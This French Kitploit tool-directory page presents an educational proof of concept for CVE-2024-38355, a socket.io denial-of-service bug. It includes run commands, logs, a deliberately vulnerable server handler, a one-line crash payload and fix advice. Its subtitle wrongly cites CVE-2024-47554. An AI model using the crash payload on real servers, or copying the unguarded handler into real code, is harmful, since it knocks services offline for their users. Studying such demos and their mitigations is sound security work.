Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-38355-PoC — Preuve de concept de CVE-2024-47554 | Kitploit
Outils/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et Éducation
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

Preuve de concept de CVE-2024-47554

Voir le dépôt
1il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Démo CVE-2024-38355 (Crash Socket.IO)

Ce projet est une preuve de concept démontrant CVE-2024-38355, une vulnérabilité de déni de service dans socket.io. Ce projet a été créé à des fins éducatives pour montrer le mécanisme d'attaque et comment protéger les applications.

À propos de la vulnérabilité (CVE-2024-38355)

Cette vulnérabilité affecte les versions de socket.io :

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

Un paquet Socket.IO spécialement conçu peut déclencher une exception non capturée sur le serveur, provoquant le plantage du processus Node.js. Cela entraîne une attaque par déni de service (DoS).

Comment ça fonctionne :

  1. Le client se connecte normalement au serveur Socket.IO.
  2. Le client envoie un événement/paquet malveillant qui déclenche une erreur sur le serveur.
  3. Si le code du serveur lève une exception (par exemple en traitant une entrée non fiable) et qu'il n'y a pas de gestionnaire d'erreur sur le socket, l'exception non capturée fait planter tout le processus Node.js.
  4. Le serveur devient indisponible pour tous les utilisateurs.

Facteurs clés :

  • L'absence d'un écouteur d'événement error sur le socket
  • Le code côté serveur qui peut lever des exceptions lors du traitement des données client
  • Absence de gestionnaire global d'exceptions non capturées

Structure du projet

Télécharger l’outil

Le projet se compose de deux conteneurs Docker :

  1. vulnerable-server : Un serveur Node.js utilisant la version vulnérable [email protected]. Il dispose d'un gestionnaire d'événements qui peut lever une exception non capturée lors de la réception de données malveillantes.
  2. exploit-client : Un script Node.js qui se connecte au serveur, teste d'abord le fonctionnement normal, puis envoie une charge utile qui fait planter le serveur.

Prérequis

  • Docker
  • Docker Compose

Ou alternativement :

  • Node.js 18+
  • npm

Comment exécuter

Option 1 : Utilisation de Docker Compose (recommandé)

Ouvrez un terminal dans le répertoire racine du projet et exécutez :

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

Cela va :

  1. Construire les images pour le serveur et le client.
  2. Démarrer le serveur sur le port 3000.
  3. Démarrer le client d'exploit qui attaquera et fera planter le serveur automatiquement.

Option 2 : Exécution locale (sans Docker)

Terminal 1 - Démarrer le serveur :

root@kitploit:~
cd server
npm install
npm start

Terminal 2 - Exécuter l'exploit :

root@kitploit:~
cd exploit
npm install
npm start

Sortie attendue

Journaux du serveur :

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

Journaux de l'exploit :

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

Arrêt

Appuyez sur Ctrl+C ou exécutez :

root@kitploit:~
docker-compose down

Analyse du code

Serveur vulnérable (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

Exploit (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

Comment corriger ?

Pour protéger votre application contre cette vulnérabilité :

  1. Mettez à jour socket.io vers la version 4.6.2 ou plus récente (le correctif ajoute un gestionnaire d'erreur par défaut sans opération).

  2. Attachez toujours des gestionnaires d'erreur aux sockets :

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. Enveloppez les gestionnaires d'événements dans un try-catch :

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. Ajoutez un gestionnaire global d'exceptions non capturées (en dernier recours) :

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

Références

  • CVE-2024-38355 sur NVD
  • Avis de sécurité GitHub GHSA-25hc-qcg6-38wj
  • Commit de correctif

Projet créé à des fins éducatives.